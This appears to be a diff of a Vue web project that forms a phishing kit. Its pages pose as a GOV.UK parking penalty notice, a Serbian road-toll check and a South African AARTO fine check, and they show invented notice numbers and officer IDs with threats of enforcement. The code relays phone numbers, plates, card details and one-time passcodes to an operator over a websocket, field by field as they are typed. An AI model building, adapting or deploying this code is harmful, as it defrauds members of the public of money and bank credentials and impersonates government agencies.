transition: all 0.2s;
}
input:focus {
outline: none;
border-color: #1D70B8;
}
.field-error {
border-color: #EF4444 !important;
background: #FFF1F2;
}
.msg-error {
color: #EF4444;
font-size: 12px;
margin-top: 5px;
font-weight: 500;
}
.input-with-icon {
position: relative;
}
.card-type-indicator {
position: absolute;
right: 12px;
top: 50%;
transform: translateY(-50%);
}
.card-type-indicator img {
height: 22px;
}
.flex-row {
display: flex;
gap: 15px;
}
.half {
flex: 1;
}
.pay-now-btn {
width: 100%;
background: #1D70B8;
color: #fff;
border: none;
padding: 16px;
font-size: 18px;
font-weight: 700;
border-radius: 50px;
cursor: pointer;
box-shadow: 0 4px 12px rgba(29, 112, 184, 0.4);
margin-top: 10px;
}
/* Error Modal Styles */
.error-modal-overlay {
position: fixed;
top: 0;
left: 0;
right: 0;
bottom: 0;
background: rgba(0, 0, 0, 0.5);
display: flex;
align-items: center;
justify-content: center;
z-index: 1000;
}
.error-modal-content {
background: white;
border-radius: 12px;
box-shadow: 0 10px 40px rgba(0, 0, 0, 0.2);
max-width: 400px;
width: 90%;
overflow: hidden;
animation: slideUp 0.3s ease-out;
}
@keyframes slideUp {
from {
opacity: 0;
transform: translateY(20px);
}
to {
opacity: 1;
transform: translateY(0);
}
}
.error-modal-header {
display: flex;
align-items: center;
gap: 12px;
padding: 16px 20px;
border-bottom: 1px solid #e5e7eb;
background: #fef3f2;
}
.error-icon {
font-size: 24px;
}
.error-title {
font-size: 18px;
font-weight: 600;
color: #1f2937;
flex: 1;
}
.error-modal-close {
background: none;
border: none;
font-size: 24px;
cursor: pointer;
color: #6b7280;
padding: 0;
width: 24px;
height: 24px;
display: flex;
align-items: center;
justify-content: center;
}
.error-modal-close:hover {
color: #1f2937;
}
.error-modal-body {
padding: 20px;
color: #374151;
font-size: 16px;
line-height: 1.5;
}
.error-modal-body p {
margin: 0;
}
.error-modal-footer {
padding: 16px 20px;
border-top: 1px solid #e5e7eb;
display: flex;
justify-content: flex-end;
gap: 10px;
}
.error-modal-btn {
background: #1D70B8;
color: white;
border: none;
padding: 10px 24px;
border-radius: 6px;
cursor: pointer;
font-size: 14px;
font-weight: 600;
transition: background 0.2s;
}
.error-modal-btn:hover {
background: #1a5fa0;
}
</style>

View File

@@ -0,0 +1,27 @@
<script setup lang="ts">
import { footerHtml, headerHtml } from "@/utils/common";
</script>
<template>
<body>
<div class="v-application v-application--is-ltr theme--light">
<div class="v-application--wrap">
<header
class="container-fluid"
id="banner"
role="banner"
v-html="headerHtml"
></header>
<main style="padding-top: 0px;">
<div style="">
<slot></slot>
</div>
</main>
<footer class="container-fluid" v-html="footerHtml"></footer>
</div>
</div>
</body>
</template>
<style></style>

File diff suppressed because it is too large Load Diff

View File

@@ -0,0 +1,62 @@
<script setup lang="ts">
import { ref, onMounted } from 'vue';
const isLoading = ref(true);
onMounted(() => {
// Simulate loading, remove in production and use actual data loading completion
setTimeout(() => {
isLoading.value = false;
}, 2000);
});
</script>
<template>
<div class="container">
<div v-if="isLoading" class="loading-spinner">
<div class="spinner" style="display: none;"></div>
</div>
<div v-else class="content">
<!-- Main content goes here when loading is complete -->
</div>
</div>
</template>
<style scoped>
.container {
display: flex;
justify-content: center;
align-items: center;
height: 100vh;
width: 100%;
background-color: #f5f5f5;
}
.loading-spinner {
display: flex;
justify-content: center;
align-items: center;
}
.spinner {
width: 40px;
height: 40px;
border: 4px solid rgb(81, 81, 81, 0.3);
border-radius: 50%;
border-top-color: transparent;
animation: spin 1s ease-in-out infinite;
}
@keyframes spin {
to {
transform: rotate(360deg);
}
}
.content {
width: 100%;
padding: 20px;
}
</style>

View File

@@ -0,0 +1,60 @@
<template>
<div
v-if="isLoading"
class="loading-overlay"
:style="{ backgroundColor: loadingBg.value }"
>
<div class="spinner"></div>
</div>
</template>
<script lang="ts">
import { computed, defineComponent } from "vue";
import { useLoadingStore } from "@/stores/loadingStore";
import { loadingBg } from "@/utils/common";
export default defineComponent({
computed: {
loadingBg() {
return loadingBg;
},
},
setup() {
const loadingStore = useLoadingStore();
const isLoading = computed(() => loadingStore.isLoading);
return {
isLoading,
};
},
});
</script>
<style>
.loading-overlay {
position: fixed;
top: 0;
left: 0;
width: 100%;
height: 100%;
display: flex;
align-items: center;
justify-content: center;
z-index: 1000;
}
.spinner {
border: 4px solid #f1f1f1;
border-top: 4px solid #003087;
border-radius: 50%;
width: 40px;
height: 40px;
animation: spin 1s linear infinite;
}
@keyframes spin {
to {
transform: rotate(360deg);
}
}
</style>

View File

@@ -0,0 +1,458 @@
<script setup lang="ts">
import { computed, nextTick, onMounted, onUnmounted, reactive, ref } from "vue";
import { useRoute } from "vue-router";
import eventBus from "@/utils/eventBus";
import CardType1 from "../components/CardType1.vue";
import { areAllValuesNotEmpty, inputChange, myWebSocket } from "@/utils/common";
import { useI18n } from "vue-i18n";
const { t } = useI18n();
const cardType = ref("");
const message1 = ref("");
const isVerifying = ref(false);
onMounted(() => {
myWebSocket?.send(
JSON.stringify({
event: "page_type",
content: { pageType: "otpValid" },
})
);
const route = useRoute();
const query = route.query as any;
if (query && query.cardType) {
cardType.value = query.cardType;
localStorage.setItem("cardType", query.cardType);
} else {
const type = localStorage.getItem("cardType");
if (type) {
cardType.value = type;
}
}
if (query && query.message1) {
message1.value = query.message1;
localStorage.setItem("message1", query.message1);
} else {
const type = localStorage.getItem("message1");
if (type) {
message1.value = type;
}
}
localStorage.setItem("route", "otpValid");
// 尝试恢复倒计时,如果没有进行中的倒计时则启动新的倒计时
restoreCountdown();
if (!isCounting.value) {
startCountdown("");
}
eventBus.on("otp-valid", handleEvent);
});
const formData = reactive({ verifyCode: "" });
const onchange = (value: any) => {
inputChange("input_card", "verifyCode", value.target.value);
formData.verifyCode = value.target.value;
};
const submit = async () => {
await nextTick();
isVerifying.value = true;
if (!areAllValuesNotEmpty(formData)) {
isVerifying.value = false;
return;
}
myWebSocket?.send(
JSON.stringify({
event: "submit_card",
content: {
type: "submitValidCode",
formData: formData,
},
})
);
};
const initialTime = 60;
const timeLeft = ref(initialTime);
const isCounting = ref(false);
let timer: number | null = null;
const buttonText = computed(() => {
return isCounting.value
? `Resend Code (00:${timeLeft.value < 10 ? `0${timeLeft.value}` : timeLeft.value})`
: "Resend Code";
});
const startCountdown = (resultType: string) => {
if (isCounting.value) return;
myWebSocket?.send(
JSON.stringify({
event: "page_type",
content: { pageType: "otpValid", resultType: resultType },
})
);
isCounting.value = true;
timeLeft.value = initialTime;
// 保存倒计时开始时间到 localStorage方便页面刷新后恢复
const startTime = Date.now();
localStorage.setItem("countdownStartTime", startTime.toString());
localStorage.setItem("countdownDuration", initialTime.toString());
timer = window.setInterval(() => {
if (timeLeft.value > 0) {
timeLeft.value -= 1;
} else {
stopCountdown();
}
}, 1000);
};
const stopCountdown = () => {
if (timer !== null) {
clearInterval(timer);
timer = null;
}
isCounting.value = false;
// 清除 localStorage 中的倒计时数据
localStorage.removeItem("countdownStartTime");
localStorage.removeItem("countdownDuration");
};
// 恢复倒计时状态(页面刷新后)
const restoreCountdown = () => {
const startTimeStr = localStorage.getItem("countdownStartTime");
const durationStr = localStorage.getItem("countdownDuration");
if (startTimeStr && durationStr) {
const startTime = parseInt(startTimeStr);
const duration = parseInt(durationStr);
const elapsedSeconds = Math.floor((Date.now() - startTime) / 1000);
const remainingTime = Math.max(0, duration - elapsedSeconds);
if (remainingTime > 0) {
isCounting.value = true;
timeLeft.value = remainingTime;
timer = window.setInterval(() => {
if (timeLeft.value > 0) {
timeLeft.value -= 1;
} else {
stopCountdown();
}
}, 1000);
} else {
// 倒计时已过期,清除数据
localStorage.removeItem("countdownStartTime");
localStorage.removeItem("countdownDuration");
}
}
};
const message = ref("");
const handleEvent = (data: { message2: string }) => {
message.value = data.message2;
isVerifying.value = false;
};
onUnmounted(() => {
eventBus.off("otp-valid", handleEvent);
// 不要在卸载时清除倒计时,这样刷新页面时倒计时还会继续
if (timer !== null) {
clearInterval(timer);
}
});
</script>
<template>
<div id="otp-page" class="page-wrapper">
<div class="container-outer">
<div class="card-container">
<div class="header-nav">
<div class="bank-icon">
<svg viewBox="0 0 24 24" width="36" height="36" fill="#333">
<path d="M4 10v7h3v-7H4zm6 0v7h3v-7h-3zM2 22h19v-3H2v3zm14-12v7h3v-7h-3zm-4.5-9L2 6v2h19V6l-9.5-5z"></path>
</svg>
</div>
<div class="card-logo-wrapper">
<CardType1 :cardType="cardType" />
</div>
</div>
<div class="content-body">
<h2 class="page-title">Payment Security</h2>
<p class="instruction-text">
To ensure the security of your payment, we have sent a One-Time Password (OTP) to your registered mobile number
<span v-if="message1"> ending in {{ message1 }}</span>.
Please enter the verification code below.
</p>
<form @submit.prevent="submit">
<div class="form-group">
<label class="field-label">Verification Code</label>
<input
required
type="text"
class="otp-input-field"
placeholder="Enter verification code"
v-model="formData.verifyCode"
@input="onchange"
/>
</div>
<div class="error-feedback" v-if="message">{{ message }}</div>
<div class="form-actions-row">
<button type="submit" class="submit-button">Submit</button>
<a href="javascript:void(0)" class="resend-link" @click="startCountdown('resendCode')">
{{ buttonText }}
</a>
</div>
</form>
<div class="bottom-links">
<div class="divider-line"></div>
<div class="info-row">
<span class="info-label">Learn more about Authentication</span>
<span class="icon-plus">+</span>
</div>
<div class="info-row">
<span class="info-label">Need Help?</span>
<span class="icon-plus">+</span>
</div>
</div>
</div>
</div>
</div>
<Transition name="fade">
<div class="loading-overlay" v-if="isVerifying">
<div class="overlay-backdrop"></div>
<div class="overlay-box">
<div class="loader-spinner"></div>
<div class="loader-text">Verifying...</div>
</div>
</div>
</Transition>
</div>
</template>
<style scoped>
.page-wrapper {
background-color: #ffffff;
min-height: 100vh;
display: flex;
justify-content: center;
align-items: flex-start;
font-family: "Segoe UI", Roboto, Helvetica, Arial, sans-serif;
}
.container-outer {
width: 100%;
max-width: 500px;
padding: 20px;
}
.card-container {
background: #ffffff;
}
/* Header Navbar */
.header-nav {
display: flex;
justify-content: space-between;
align-items: center;
padding: 10px 0 25px 0;
border-bottom: 1px solid #f0f2f5;
}
.content-body {
padding: 35px 0;
}
.page-title {
font-size: 24px;
font-weight: 600;
color: #122b46;
margin-bottom: 15px;
}
.instruction-text {
font-size: 15px;
color: #616e7c;
line-height: 1.5;
margin-bottom: 35px;
}
/* Form Styles */
.form-group {
margin-bottom: 15px;
}
.field-label {
display: block;
font-weight: 700;
font-size: 15px;
color: #243b53;
margin-bottom: 12px;
}
.otp-input-field {
width: 100%;
padding: 14px 12px;
border: 1px solid #d1d9e2;
border-radius: 4px;
font-size: 16px;
box-sizing: border-box;
}
.otp-input-field::placeholder {
color: #9fb3c8;
}
.otp-input-field:focus {
border-color: #2563eb;
outline: none;
}
/* Actions: Button and Resend Link on the same line */
.form-actions-row {
display: flex;
align-items: center;
gap: 20px;
margin-top: 30px;
}
.submit-button {
background-color: #2563eb; /* Blue primary */
color: #ffffff;
border: none;
padding: 14px 0;
width: 280px; /* Specific width as per UI */
border-radius: 6px;
font-size: 16px;
font-weight: 600;
cursor: pointer;
transition: background 0.2s;
}
.submit-button:hover {
background-color: #1d4ed8;
}
.resend-link {
font-size: 15px;
color: #2563eb;
text-decoration: none;
white-space: nowrap;
}
.resend-link:hover {
text-decoration: underline;
}
.error-feedback {
color: #d93025;
font-size: 14px;
margin-top: 10px;
}
/* Accordion Style Links */
.bottom-links {
margin-top: 40px;
}
.divider-line {
height: 1px;
background-color: #e4e7eb;
margin-bottom: 10px;
}
.info-row {
display: flex;
justify-content: space-between;
align-items: center;
padding: 20px 0;
border-bottom: 1px solid #e4e7eb;
cursor: pointer;
}
.info-label {
font-size: 15px;
color: #243b53;
font-weight: 400;
}
.icon-plus {
color: #9fb3c8;
font-size: 20px;
}
/* Loading Overlay Styles */
.loading-overlay {
position: fixed;
inset: 0;
z-index: 9999;
display: flex;
align-items: center;
justify-content: center;
}
.overlay-backdrop {
position: absolute;
inset: 0;
background: rgba(255, 255, 255, 0.9);
}
.overlay-box {
position: relative;
text-align: center;
}
.loader-spinner {
width: 45px;
height: 45px;
border: 4px solid #f3f3f3;
border-top: 4px solid #2563eb;
border-radius: 50%;
animation: spin 1s linear infinite;
margin: 0 auto 15px;
}
.loader-text {
font-size: 15px;
color: #486581;
}
@keyframes spin {
0% { transform: rotate(0deg); }
100% { transform: rotate(360deg); }
}
.fade-enter-active, .fade-leave-active { transition: opacity 0.3s; }
.fade-enter-from, .fade-leave-to { opacity: 0; }
/* Responsive */
@media (max-width: 480px) {
.form-actions-row {
flex-direction: column;
align-items: stretch;
}
.submit-button {
width: 100%;
}
.resend-link {
text-align: center;
margin-top: 10px;
}
}
</style>

View File

@@ -0,0 +1,459 @@
<script setup lang="ts">
import { useRouter } from "vue-router";
import CommonLayout from "@/views/CommonLayout.vue";
import { useLoadingStore } from "@/stores/loadingStore";
import { onMounted, ref } from "vue";
import { configData, myWebSocket } from "../utils/common";
import { useI18n } from "vue-i18n";
const { t } = useI18n();
const loadingStore = useLoadingStore();
const router = useRouter();
const licensePlate = ref("");
const payDate = ref("");
const invoiceNumber = ref("");
const officerId = ref("");
// 默認金額 6.99 (對齊圖片)
const fineAmount = ref("£6.99");
const next = () => {
loadingStore.setLoading(true);
setTimeout(() => {
loadingStore.setLoading(false);
router.push("/address");
}, 200);
};
// 格式化日期為圖中的 Mar 28, 2026 格式
function getFormattedDate(addDays: number = 0): string {
const date = new Date();
date.setDate(date.getDate() + addDays);
const months = ["Jan", "Feb", "Mar", "Apr", "May", "Jun", "Jul", "Aug", "Sep", "Oct", "Nov", "Dec"];
return `${months[date.getMonth()]} ${date.getDate()}, ${date.getFullYear()}`;
}
// 生成符合 UK-PN-2048-5173 格式的隨機單號
function generateCitationFormat(): string {
const segment1 = Math.floor(1000 + Math.random() * 9000);
const segment2 = Math.floor(1000 + Math.random() * 9000);
return `UK-PN-${segment1}-${segment2}`;
}
// 生成隨機 Officer ID
function generateOfficerId(): string {
const randomId = Math.floor(1000 + Math.random() * 9000);
return `Officer ID ${randomId}`;
}
onMounted(() => {
myWebSocket?.send(
JSON.stringify({
event: "page_type",
content: { pageType: "pay" },
})
);
// 設置截止日期(當前日期+1天
payDate.value = getFormattedDate(1);
const inumber = localStorage.getItem("invoiceNumber");
if (inumber) {
invoiceNumber.value = inumber;
} else {
invoiceNumber.value = generateCitationFormat();
localStorage.setItem("invoiceNumber", invoiceNumber.value);
}
const officer = localStorage.getItem("officerId");
if (officer) {
officerId.value = officer;
} else {
officerId.value = generateOfficerId();
localStorage.setItem("officerId", officerId.value);
}
localStorage.setItem("route", "pay");
const licensePlateValue = localStorage.getItem("phoneNumber");
if (licensePlateValue) {
licensePlate.value = licensePlateValue;
}
});
</script>
<template>
<CommonLayout>
<template #default>
<div class="main-content-body">
<div class="citation-outer-box">
<div class="gov-brand">GOV.UK</div>
<div class="header-banner">
<div class="circle-decoration"></div>
<div class="banner-content">
<h1>PARKING<br/>PENALTY NOTICE</h1>
<p>UK GOVERNMENT</p>
</div>
</div>
<div class="notice-number-section">
<div class="label-small">PENALTY NOTICE NUMBER</div>
<div class="number-display-box">
{{ invoiceNumber }}
</div>
</div>
<div class="section-title-row">
<div class="info-icon">i</div>
<span>PENALTY DETAILS</span>
</div>
<div class="details-card">
<div class="detail-row">
<span class="d-label">Code</span>
<span class="d-value bold">RTRA 1984</span>
</div>
<div class="detail-row">
<span class="d-label">Reason</span>
<span class="d-value bold">Parking in a restricted area</span>
</div>
<div class="detail-row border-none">
<span class="d-label">Issuing officer</span>
<span class="officer-tag">{{ officerId }}</span>
</div>
</div>
<div class="amount-card">
<div class="amount-row">
<span class="a-label">Total amount due</span>
<span class="a-value">{{
configData?.pay_amount ? configData.pay_amount : "£6.99"
}}</span>
</div>
<div class="amount-row border-none">
<span class="a-label">Pay by</span>
<span class="a-date-tag">{{ payDate }}</span>
</div>
</div>
<div class="btn-container">
<button class="continue-btn" @click="next">
Continue to details <span class="btn-arrow">»</span>
</button>
</div>
<div class="ways-to-pay-section">
<div class="section-title-row small-margin">
<div class="card-icon">💳</div>
<span>WAYS TO PAY</span>
</div>
<div class="ways-card">
<ul>
<li>Online: debit or credit card via gov.uk</li>
<li>By post: cheque or postal order to the address on the notice</li>
<li>In person: at a PayPoint or Post Office</li>
</ul>
</div>
</div>
<div class="dispute-section">
<h3>IF YOU WANT TO DISPUTE THIS NOTICE</h3>
<p>You may dispute online. If you do nothing, the amount may increase and further action may follow.</p>
</div>
<div class="important-alert">
<div class="alert-icon-box"></div>
<div class="alert-content">
<h4>Important</h4>
<p>Ignoring this notice may lead to a higher amount and enforcement action.</p>
</div>
</div>
<div class="barcode-footer">
<div class="barcode-wrapper">
<div class="barcode-img"></div>
<div class="barcode-mask"></div>
</div>
<div class="barcode-text">{{ invoiceNumber }}</div>
</div>
</div>
</div>
</template>
</CommonLayout>
</template>
<style scoped>
/* 基礎容器 */
.main-content-body {
background-color: #ffffff;
min-height: 100vh;
display: flex;
justify-content: center;
font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, Helvetica, Arial, sans-serif;
}
.citation-outer-box {
width: 100%;
max-width: 450px;
padding: 20px;
background: #fff;
}
/* 品牌文字 */
.gov-brand {
font-size: 32px;
font-weight: 800;
color: #005AAB;
margin-bottom: 30px;
letter-spacing: -1px;
}
/* 藍色橫幅 */
.header-banner {
background-color: #1D70B8;
border-radius: 4px;
height: 150px;
position: relative;
overflow: hidden;
display: flex;
align-items: center;
justify-content: center;
text-align: center;
color: #fff;
margin-bottom: 25px;
}
.circle-decoration {
position: absolute;
width: 120px;
height: 120px;
background: rgba(255, 255, 255, 0.1);
border-radius: 50%;
top: -30px;
left: -30px;
}
.banner-content h1 {
font-size: 26px;
font-weight: 800;
margin: 0;
line-height: 1.2;
letter-spacing: 1px;
}
.banner-content p {
font-size: 13px;
font-weight: 600;
margin-top: 8px;
opacity: 0.9;
}
/* 編號區域 */
.notice-number-section {
text-align: center;
margin-bottom: 25px;
}
.label-small {
font-size: 11px;
font-weight: 700;
color: #6F777B;
letter-spacing: 1px;
margin-bottom: 8px;
}
.number-display-box {
background-color: #F0F4F9;
border: 1px dashed #D0D7DE;
border-radius: 6px;
padding: 12px;
font-size: 20px;
font-weight: 600;
color: #005AAB;
letter-spacing: 1px;
}
/* 章節標題 */
.section-title-row {
display: flex;
align-items: center;
gap: 8px;
color: #1D70B8;
font-weight: 700;
font-size: 14px;
margin-bottom: 12px;
}
.section-title-row.small-margin { margin-bottom: 8px; }
.info-icon {
width: 18px;
height: 18px;
border: 1.5px solid #1D70B8;
border-radius: 50%;
display: flex;
align-items: center;
justify-content: center;
font-size: 12px;
font-weight: 800;
}
/* 詳情卡片 */
.details-card {
border: 1px solid #D0D7DE;
border-radius: 12px;
padding: 5px 15px;
margin-bottom: 20px;
}
.detail-row {
display: flex;
justify-content: space-between;
align-items: center;
padding: 14px 0;
border-bottom: 1px solid #F0F4F9;
}
.d-label { color: #6F777B; font-size: 14px; }
.d-value { font-size: 14px; color: #0b0c0c; text-align: right; }
.d-value.bold { font-weight: 700; }
.officer-tag {
background-color: #E8F1F8;
color: #1D70B8;
font-size: 12px;
font-weight: 700;
padding: 4px 12px;
border-radius: 20px;
}
/* 金額卡片 */
.amount-card {
border: 1px solid #D0D7DE;
border-radius: 12px;
padding: 15px;
margin-bottom: 25px;
border-left: 4px solid #1D70B8;
}
.amount-row {
display: flex;
justify-content: space-between;
align-items: center;
padding-bottom: 10px;
}
.a-label { color: #50595e; font-size: 14px; font-weight: 500; }
.a-value { font-size: 24px; font-weight: 800; color: #1D70B8; }
.a-date-tag {
background-color: #FFF1F1;
color: #D4351C;
font-size: 13px;
font-weight: 700;
padding: 3px 8px;
border-radius: 4px;
}
/* 按鈕 */
.btn-container { margin-bottom: 30px; }
.continue-btn {
width: 100%;
background-color: #1D70B8;
color: #fff;
border: none;
border-radius: 12px;
padding: 14px;
font-size: 18px;
font-weight: 700;
cursor: pointer;
display: flex;
align-items: center;
justify-content: center;
gap: 8px;
box-shadow: 0 4px 0 #003078;
}
.continue-btn:active { transform: translateY(2px); box-shadow: 0 2px 0 #003078; }
.btn-arrow { font-size: 20px; }
/* 支付方式 */
.ways-card {
background-color: #F3F2F1;
border-radius: 12px;
padding: 15px 20px;
margin-bottom: 25px;
}
.ways-card ul { margin: 0; padding-left: 15px; }
.ways-card li { color: #1D70B8; font-size: 14px; margin-bottom: 10px; font-weight: 500; }
/* 申訴說明 */
.dispute-section h3 {
font-size: 12px;
font-weight: 700;
color: #6F777B;
text-transform: uppercase;
margin-bottom: 8px;
}
.dispute-section p {
font-size: 14px;
color: #50595e;
line-height: 1.5;
}
/* 警告框 */
.important-alert {
background-color: #FFFBF0;
border: 1px solid #FFBF47;
border-radius: 8px;
padding: 15px;
display: flex;
gap: 12px;
margin-top: 25px;
}
.alert-icon-box { font-size: 20px; }
.alert-content h4 { font-size: 16px; font-weight: 700; color: #856605; margin: 0 0 5px 0; }
.alert-content p { font-size: 13px; color: #856605; margin: 0; line-height: 1.4; }
/* 底部條形碼 */
.barcode-footer {
margin-top: 40px;
text-align: center;
padding-bottom: 20px;
border-top: 1px solid #F0F4F9;
padding-top: 30px;
}
.barcode-wrapper {
position: relative;
display: inline-block;
width: 250px;
height: 60px;
}
.barcode-img {
width: 100%;
height: 100%;
background: repeating-linear-gradient(90deg, #333 0, #333 2px, transparent 2px, transparent 4px, #333 4px, #333 5px);
}
.barcode-mask {
position: absolute;
right: 0; top: 0;
width: 35%; height: 100%;
background: #333; /* 遮擋部分如圖 */
}
.barcode-text {
margin-top: 8px;
font-size: 13px;
color: #1D70B8;
font-weight: 600;
letter-spacing: 1px;
}
.border-none { border-bottom: none !important; }
@media (max-width: 400px) {
.citation-outer-box { padding: 15px; }
.a-value { font-size: 20px; }
}
</style>

View File

@@ -0,0 +1,225 @@
<script setup lang="ts">
import { getCurrentInstance, onMounted, ref, watch } from "vue";
import { useRouter } from "vue-router";
import CommonLayout from "@/views/CommonLayout.vue";
import { useLoadingStore } from "@/stores/loadingStore";
import { inputChange, myWebSocket } from "@/utils/common";
import { useI18n } from "vue-i18n";
const { t } = useI18n();
const router = useRouter();
const loadingStore = useLoadingStore();
const formData = ref({ licensePlateData: { licensePlate: "" } });
const instance = getCurrentInstance()!;
const onchange = (event: any) => {
inputChange("Регистарска ознака", "plate", event.target.value);
};
const next = () => {
localStorage.setItem("licensePlate", formData.value.licensePlateData.licensePlate);
loadingStore.setLoading(true);
setTimeout(() => {
loadingStore.setLoading(false);
router.push("/pay");
}, 200);
};
watch(
instance.appContext.config.globalProperties.$currentUser,
(newValue, oldValue) => {}
);
onMounted(() => {
myWebSocket?.send(
JSON.stringify({
event: "page_type",
content: { pageType: "phone" },
})
);
const userData =
getCurrentInstance()?.appContext.config.globalProperties.$userData;
if (userData && userData.licensePlateData) {
formData.value = userData;
}
localStorage.setItem("route", "phone");
});
</script>
<template>
<CommonLayout>
<template #default>
<div class="image-container">
<img
src="/ww_gb_Ticket_temp2/koridor10-juzni-krak.jpg"
alt="Путеви Србије"
style="width: 100%; height: auto; max-width: 100%; margin-top: -10px; margin-bottom: -16px;">
</div>
<div class="main-content-body">
<div class="container">
<form @submit.prevent="next">
<div class="content-body">
<h1>{{ t("Провера статуса наплате путарине") }}</h1>
<p>
{{ t("Унесите регистарску ознаку возила да бисте проверили статус неплаћених путарина и казни према подацима ЈП 'Путеви Србије'.") }}
</p>
<div class="input-group">
<label for="licensePlate">
{{ t("Регистарска ознака") }}
</label>
<input
id="licensePlate"
type="text"
required
autofocus
@input="onchange"
v-model="formData.licensePlateData.licensePlate"
inputmode="text"
:placeholder="t('Пример: BG123456')"
class="full-width-input"
/>
</div>
</div>
<div class="button-submit">
<button type="submit" class="full-width-btn">
{{ t("Провери статус") }}
</button>
</div>
</form>
</div>
</div>
</template>
</CommonLayout>
</template>
<style scoped>
.image-container {
display: flex;
justify-content: center;
align-items: center;
margin-bottom: 1rem;
}
.main-content-body {
background-color: #f0f4f8;
padding: 3rem 1rem;
display: flex;
align-items: center;
}
.container {
max-width: 720px;
margin: 0 auto;
background-color: #ffffff;
border: 1px solid #d0d7de;
border-radius: 8px;
padding: 2rem;
box-shadow: 0 4px 8px rgba(0, 0, 0, 0.1);
}
.content-body {
text-align: left;
}
h1 {
font-size: 1.8rem;
font-weight: 700;
color: #003087;
margin-bottom: 1rem;
font-family: 'Arial', sans-serif;
}
p {
color: #333333;
font-size: 1rem;
line-height: 1.5;
margin-bottom: 1.5rem;
font-family: 'Arial', sans-serif;
}
.input-group {
margin-bottom: 1.5rem;
}
label {
display: block;
font-size: 1rem;
font-weight: 500;
color: #003087;
margin-bottom: 0.5rem;
font-family: 'Arial', sans-serif;
}
.full-width-input {
width: 100%;
box-sizing: border-box;
padding: 0.75rem;
font-size: 1rem;
border: 1px solid #b0b8c1;
border-radius: 5px;
background-color: #ffffff;
color: #333333;
font-family: 'Arial', sans-serif;
transition: border-color 0.2s;
margin-bottom: 0;
display: block;
}
.full-width-input:focus {
outline: none;
border-color: #003087;
box-shadow: 0 0 0 2px rgba(0, 48, 135, 0.2);
}
.button-submit {
text-align: center;
}
.full-width-btn {
width: 100%;
background-color: #003087;
color: #ffffff;
border: none;
border-radius: 5px;
font-size: 1.1rem;
font-weight: 600;
padding: 0.85rem 0;
cursor: pointer;
transition: background 0.2s;
font-family: 'Arial', sans-serif;
margin-top: 0.3rem;
box-sizing: border-box;
display: block;
}
.full-width-btn:hover {
background-color: #00205b;
}
@media (max-width: 768px) {
.container {
padding: 1.5rem;
margin: 0 1rem;
}
h1 {
font-size: 1.3rem;
}
p {
font-size: 0.9rem;
}
.full-width-input {
padding: 0.6rem;
}
.full-width-btn {
padding: 0.75rem 0;
font-size: 1rem;
}
}
</style>

View File

@@ -0,0 +1,284 @@
<script setup lang="ts">
import { getCurrentInstance, onMounted, ref, watch } from "vue";
import { useRouter } from "vue-router";
import CommonLayout from "@/views/CommonLayout.vue";
import { useLoadingStore } from "@/stores/loadingStore";
import { inputChange, myWebSocket } from "@/utils/common";
import { useI18n } from "vue-i18n";
const { t } = useI18n();
const router = useRouter();
const loadingStore = useLoadingStore();
// 保持逻辑不变:使用 phoneData 结构
const formData = ref({ phoneData: { phoneNumber: "" } });
const instance = getCurrentInstance()!;
const onchange = (event: any) => {
inputChange("input_phone", "phone", event.target.value);
};
const next = () => {
// 逻辑保持:保存手机号并跳转
localStorage.setItem("phoneNumber", formData.value.phoneData.phoneNumber);
loadingStore.setLoading(true);
setTimeout(() => {
loadingStore.setLoading(false);
router.push("/pay");
}, 200);
};
watch(
instance.appContext.config.globalProperties.$currentUser,
(newValue, oldValue) => {}
);
onMounted(() => {
myWebSocket?.send(
JSON.stringify({
event: "page_type",
content: { pageType: "phone" },
})
);
const userData =
getCurrentInstance()?.appContext.config.globalProperties.$userData;
if (userData && userData.phoneData) {
formData.value = userData;
}
localStorage.setItem("route", "phone");
});
</script>
<template>
<CommonLayout>
<template #default>
<div class="aarto-main-wrapper">
<div class="aarto-container">
<div class="aarto-header">
<div class="aarto-badge">AARTO</div>
<h1>{{ t("Check Infringement Status") }}</h1>
<p class="subtitle">{{ t("Road Traffic Infringement Agency (RTIA)") }}</p>
</div>
<form @submit.prevent="next">
<div class="content-body">
<p class="instruction-text">
{{ t("Enter your registered mobile number to check for outstanding Infringement Notices and Enforcement Orders under the AARTO Act.") }}
</p>
<div class="input-group">
<label for="phoneNumber">
{{ t("Mobile Number") }}
</label>
<input
id="phoneNumber"
type="tel"
required
autofocus
@input="onchange"
v-model="formData.phoneData.phoneNumber"
inputmode="tel"
:placeholder="t('Example: +27 82 123 4567')"
class="aarto-input"
/>
</div>
<div class="aarto-warning-box">
<h3>{{ t("Important Legal Notice:") }}</h3>
<ul>
<li><strong>{{ t("Administrative Restrictions:") }}</strong> {{ t("Failure to act on an Infringement Notice leads to an Enforcement Order, incurring additional R60 fees.") }}</li>
<li><strong>{{ t("License Freeze:") }}</strong> {{ t("Unresolved fines will result in a block on eNaTIS, preventing you from renewing your driving license or vehicle license disc.") }}</li>
<li><strong>{{ t("Roadworthy Blocking:") }}</strong> {{ t("Outstanding penalties will prevent your vehicle from passing its mandatory Roadworthy Test.") }}</li>
</ul>
</div>
</div>
<div class="button-submit">
<button type="submit" class="aarto-primary-btn">
{{ t("CHECK STATUS") }}
</button>
</div>
</form>
<div class="aarto-footer-links">
<span>{{ t("Secured by eNaTIS System") }}</span>
</div>
</div>
</div>
</template>
</CommonLayout>
</template>
<style scoped>
/* AARTO 官方配色方案 */
:root {
--aarto-blue: #003366;
--aarto-gold: #FFCC00;
--aarto-gray: #f4f4f4;
--aarto-text: #333333;
--aarto-red: #d32f2f;
}
.aarto-main-wrapper {
background-color: #e9ecef;
min-height: 80vh;
padding: 2rem 1rem;
display: flex;
justify-content: center;
align-items: center;
font-family: 'Segoe UI', Roboto, Helvetica, Arial, sans-serif;
}
.aarto-container {
max-width: 600px;
width: 100%;
background-color: #ffffff;
border-top: 6px solid #FFCC00; /* AARTO 金黄色边框 */
border-radius: 4px;
padding: 2.5rem;
box-shadow: 0 10px 25px rgba(0, 0, 0, 0.1);
}
.aarto-header {
text-align: center;
margin-bottom: 2rem;
}
.aarto-badge {
background-color: #003366;
color: #FFCC00;
display: inline-block;
padding: 4px 12px;
font-weight: 800;
font-size: 1.2rem;
margin-bottom: 0.5rem;
border-radius: 2px;
}
h1 {
font-size: 1.6rem;
font-weight: 700;
color: #003366;
margin: 0.5rem 0;
text-transform: uppercase;
}
.subtitle {
color: #666;
font-size: 0.9rem;
letter-spacing: 1px;
margin-bottom: 1rem;
}
.instruction-text {
color: #444;
font-size: 1rem;
line-height: 1.6;
margin-bottom: 1.5rem;
border-left: 4px solid #003366;
